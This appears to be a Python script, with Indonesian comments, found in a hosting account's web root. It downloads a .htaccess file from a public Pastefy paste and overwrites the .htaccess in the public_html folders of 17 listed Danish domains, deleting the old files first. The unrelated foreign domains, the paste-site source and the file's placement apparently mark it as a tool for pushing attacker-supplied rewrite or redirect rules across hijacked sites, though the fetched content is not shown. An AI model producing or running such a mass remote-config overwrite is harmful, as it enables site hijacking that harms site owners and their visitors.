File: /home/dmhkjfau/public_html/root/gas.py
import os
import urllib.request
# Daftar domain sesuai yang kamu berikan
domain_list = [
"stics.dk",
"alto.dk",
"badehaandklaeder.dk",
"cpc.dk",
"gaabil.dk",
"graviditetstoej.dk",
"henna.dk",
"hundetaeppe.dk",
"instruktoerstol.dk",
"lille-skrivebord.dk",
"satin.dk",
"snedkerkoekken.dk",
"traadloes-stoevsuger.dk",
"traehylder.dk",
"traeningsshorts.dk",
"traeningstights.dk",
"trellebaenk.dk"
]
# URL mentah (.htaccess baru) dari Pastefy
pastefy_url = "https://pastefy.app/SyL7C7Xn/raw"
def update_htaccess_for_domains():
print("[-] Sedang mengunduh konten .htaccess terbaru...")
try:
# Mengunduh isi file .htaccess dari Pastefy
req = urllib.request.Request(
pastefy_url,
headers={'User-Agent': 'Mozilla/5.0'}
)
with urllib.request.urlopen(req) as response:
new_htaccess_content = response.read()
print("[+] Berhasil mengunduh konten .htaccess!")
except Exception as e:
print(f"[!] Gagal mengunduh dari Pastefy: {e}")
return
# Iterasi setiap domain dalam daftar
for domain in domain_list:
# Menyusun path direktori public_html secara dinamis
public_html_path = f"/home/dmhkjfau/domains/{domain}/public_html"
htaccess_path = os.path.join(public_html_path, ".htaccess")
print(f"\n[*] Memproses domain: {domain}")
# Pastikan direktori public_html target benar-benar ada di server
if os.path.exists(public_html_path):
# 1. Hapus .htaccess lama jika ada
if os.path.exists(htaccess_path):
try:
os.remove(htaccess_path)
print(f" -> Berhasil menghapus .htaccess lama di {domain}")
except Exception as e:
print(f" -> Gagal menghapus .htaccess lama: {e}")
else:
print(f" -> File .htaccess lama tidak ditemukan, lanjut proses pembuatan.")
# 2. Upload / Buat .htaccess baru dengan konten yang diunduh
try:
with open(htaccess_path, 'wb') as f:
f.write(new_htaccess_content)
# Mengatur permission file agar aman (biasanya 644)
os.chmod(htaccess_path, 0o644)
print(f" -> Berhasil menginstal .htaccess baru di {domain}!")
except Exception as e:
print(f" -> Gagal menulis file .htaccess baru: {e}")
else:
print(f" -> Direktori tidak ditemukan: {public_html_path}")
print("\n[+] Selesai! Semua proses pembaruan .htaccess telah dijalankan.")
if __name__ == "__main__":
update_htaccess_for_domains()